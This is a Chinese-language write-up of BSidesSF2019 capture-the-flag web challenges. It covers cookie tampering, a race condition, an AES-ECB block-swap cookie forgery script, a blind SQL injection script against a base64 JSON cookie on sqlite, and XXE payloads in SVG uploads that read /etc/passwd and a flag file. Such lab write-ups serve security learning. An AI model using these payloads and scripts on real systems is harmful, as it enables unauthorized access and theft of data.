BSidesSF2019-WriteUp

BSidesSF2019-WriteUp

最近BUU复现了BSidesSF2019几道题目,还比较简单,记录一下。

Futurella

一道查看源码就能拿到flag的题目,令人开心的题目。
不过谷歌翻译是真的强,连这种火星文都能翻译

Kookie

简单的利用cookie拿admin权限的题目。

解题

进入题目发现提示我们要以admin身份登录,但同时也给了一组用户名和密码guest/guest,用该用户登录抓包,发现cookie中存在字段username=,在后面加上admin然后放包即可拿到flag。

Pick-tac-toe

考察条件竞争,题很简单。

解题

进入题目是一个下井字棋的棋盘,查看源码,发现一部分代码如下:

<table id="board">
<tr>
<form id='form_ul' method='POST' action='/move'>
<input type='hidden' name='move' value='ul'>
<td id='ul' onClick='$("#form_ul").submit()'> </td>
</form>
<form id='form_u' method='POST' action='/move'>
<input type='hidden' name='move' value='u'>
<td id='u' onClick='$("#form_u").submit()'> </td>
</form>
<form id='form_ur' method='POST' action='/move'>
<input type='hidden' name='move' value='ur'>
<td id='ur' onClick='$("#form_ur").submit()'> </td>
</form>
</tr>
<tr>
<form id='form_l' method='POST' action='/move'>
<input type='hidden' name='move' value='l'>
<td id='l' onClick='$("#form_l").submit()'> </td>
</form>
<form id='form_c' method='POST' action='/move'>
<input type='hidden' name='move' value='c'>
<td id='c' onClick='$("#form_c").submit()'> </td>
</form>
<form id='form_r' method='POST' action='/move'>
<input type='hidden' name='move' value='r'>
<td id='r' onClick='$("#form_r").submit()'> </td>
</form>
</tr>
<tr>
<form id='form_bl' method='POST' action='/move'>
<input type='hidden' name='move' value='bl'>
<td id='bl' onClick='$("#form_bl").submit()'> </td>
</form>
<form id='form_b' method='POST' action='/move'>
<input type='hidden' name='move' value='b'>
<td id='b' onClick='$("#form_b").submit()'> </td>
</form>
<form id='form_br' method='POST' action='/move'>
<input type='hidden' name='move' value='br'>
<td id='br' onClick='$("#form_br").submit()'> </td>
</form>
</tr>
</table>

可以猜测给出的是代表九个网格传的传值,通过POST传参,在/move页利用move参数传参以表示棋下的位置。
当我们进行传参的时候,发现经过一段时间棋盘上才出现,起初以为是网速问题,其实这段时间是服务器处理的时间,这个时候我们再传两个位置,构成一条直线,这样服务器只能对我们下的第一步棋进行反应,但是反应过来,我们已经下了三步棋,赢了…
这就是典型的条件竞争。

Mixer

这个题目我觉得还是有水平的,主要考察了对cookie的攻击,但是结合了AES ECB模式加密的知识,这其实也是AES加密模式中很简单的了。

题目分析

进入题目,我们发现又是一个登录框:

还是提示我们要有admin权限,我们尝试用admin/admin登录,发现可以登录,但是第三个框的is_admin的值在输入的时候我们不能进行操作,从抓包效果来看,也不能进行更改:

但是我们发现cookie中有user的字段,猜测其后面的值是经过AES ECB模式加密的,这里如果需要对加密的机制有更深的理解,可以去这里
验证一下我们的猜测:通过更改其中一个值看一下回显

我们发现,传入的用户名、密码那三项其实是通过JSON传输的,即:

{"username":"admin","password":"admin","is_admin":"0"}

从图中看到,当我们更改user中的一个值的时候,结果报了错误,因为JSON字符串已经变成了:

{"first_name":"a??N??ZP!z??gF???":"admin","is_admin":0}

也就是说确实是对这一串JSON格式的字符串进行了AES ECB模式的加密,并且是16字节为一组进行加密的,那么我们解题就有突破口了。
获取flag我们需要构造如下的JSON串:

{"username":"admin","password":"admin","is_admin":"1"}

但是is_admin的值我们没法通过输入来控制,但是观察发现:从JSON的起始位置到用户名的第一个字母刚好是16个字节,那么我们构造一个类似于a1.00000000000000(14个0,一共16字节)的用户名,以及一个4字节的密码,那就又拿到了一个16字节的分组1.00000000000000,并且其值为1,同时到第三个:刚好是64字节,而进行加密的时候是对整个16字节的块进行加密的,那么我们再把这一个分组加密的结果插入到最后的16字节的密文之前(hex编码是32个字符)即可令is_admin的值为1了,这个时候is_admin其实是1.000000000000000(15个0)了,但是不影响它是1,同时不影响最后一个分组的加密(不够16字节会自动填充的)。

解题

构造username=a1.00000000000000&password=admi登录之后,利用BP抓包将第二个16字节的密文替换掉最后的16字节的密文,放包即可拿到flag:

用下面的脚本的话操作起来更简单:

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

url = ""
action="?action=login&first_name=a1.00000000000000&last_name=admi"
r = requests.get(url+action, verify=False, allow_redirects=False)
for c in r.cookies:
print(c.name, c.value)
if c.name == "user":
c.value = c.value[:-32] + c.value[32:64] + c.value[-32:]

resp = requests.get(url, cookies = r.cookies, verify=False, allow_redirects=False)

print resp.text

Sequel

在cookie处存在sql注入,利用盲注拿flag。

题目分析

进入题目是一个只含用户名和密码的登录框,经过尝试guest/guest可以登录,登录之后发现是一个302跳转,同时看到了有点怪的cookie:

对cookie的值进行base64解码:

>>> base64.b64decode("eyJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJndWVzdCJ9")
'{"username":"guest","password":"guest"}'

可以看到用户名和密码是通过JSON编码传输的,那么JSON中的usernamepassword会不会存在注入点呢?利用下面的payload测试一下:

{"username":"guest\" or \"A\"=\"A","password":"guest"}

注意这里的\是用来转义的,防止在JSON中被编码了。
然后对上面的JSON串进行base64加密,这里我们利用python的库进行加密,同时用r''告诉python不要把我们构造的\再进行转义:

>>> base64.b64encode(r'{"username":"guest\" or \"A\"=\"A","password":"guest"}')
'eyJ1c2VybmFtZSI6Imd1ZXN0XCIgb3IgXCJBXCI9XCJBIiwicGFzc3dvcmQiOiJndWVzdCJ9'

替换掉cookie中的内容之后放包发现回显如下:

发现注入成功!这道题的数据库是sqlite,可以利用sqlite_master拿到库名,以便进一步的注入。
写脚本利用盲注爆库名、表名、字段名,拿flag。脚本如下:

import requests
import string
import base64
URL = ''
LETTERS = string.printable
target = ""
while True:
f = False
for e in LETTERS:
tmp = target + e
# 1.获取库名
payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT name FROM sqlite_master limit 0,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
# 2.获取username
#payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT username FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
# 3.获取password
#payload = r'{{"username":"\" or CASE WHEN SUBSTR((SELECT password FROM userinfo limit 1,1),{},1)=\"{}\" THEN true ELSE false END or \"","password":"guest"}}'.format(len(tmp),e)
payload = base64.b64encode(payload.encode('utf-8')).decode("utf-8")
req = requests.Request(
'GET',
URL,
params={
},
cookies={
"1337_AUTH":payload
}
)

prepared = req.prepare()
s = requests.Session()
r = s.send(prepared, allow_redirects = False)
if "Movie" in r.text:
target = tmp
print(target)
f = True
break
if f: continue
exit()

拿到用户名和密码:sequeladmin/f5ec3af19f0d3679e7d5a148f4ac323d,登录即可拿到flag。

SVGMagic

考察XXE漏洞,在解析包含SVG可缩放矢量图形的XML文件时,构造XXE漏洞执行从而拿到服务器的目标文件。

知识扩展

SVG可缩放矢量图形可以参考这里
XXE漏洞参考这里这里

解题

进入题目,提示这个站可以实现SVGPNG的转换,也就是说我们上传包含SVG信息的XML文件,那么将会返回一张PNG图片。
SVG代码类似:

<html>
<body>

<h1>My first SVG</h1>

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black"
stroke-width="2" fill="red" />
</svg>

</body>
</html>

既然与XML的解析相关,那就考虑XXE攻击。
首先构造如下的XML脚本:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg height="300" width="200">
<text x="0" y="15" fill="red">test &xxe; test</text>
</svg>

上传之后,发现回显如下:

由此可见,我们上传的包含XXE攻击的脚本成功执行了,现在就想办法就拿到flag,那就需要找到flag文件的位置。

这个地方学到了新东西:利用linux系统的proc进程文件系统找当前进程中的文件,这个地方参考了网上的题解,虽然没有成功,但是还是学到了新东西,感觉以后会用得到。关于proc进程文件系统参考这里

最后拿到flag的payload如下:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:flag.txt"> ]>
<svg height="300" width="3000">
<text x="0" y="15" fill="red">test &xxe; test</text>
</svg>

利用file命令直接读flag文件,即可拿到flag。

看国外大佬的题解,讲到了刚开始想到了ImageTragick,也是之前不熟悉的知识,需要好好学习,参考这里

赛题BUU上都可以复现

Comments


:D 一言句子获取中...

Loading...Wait a Minute!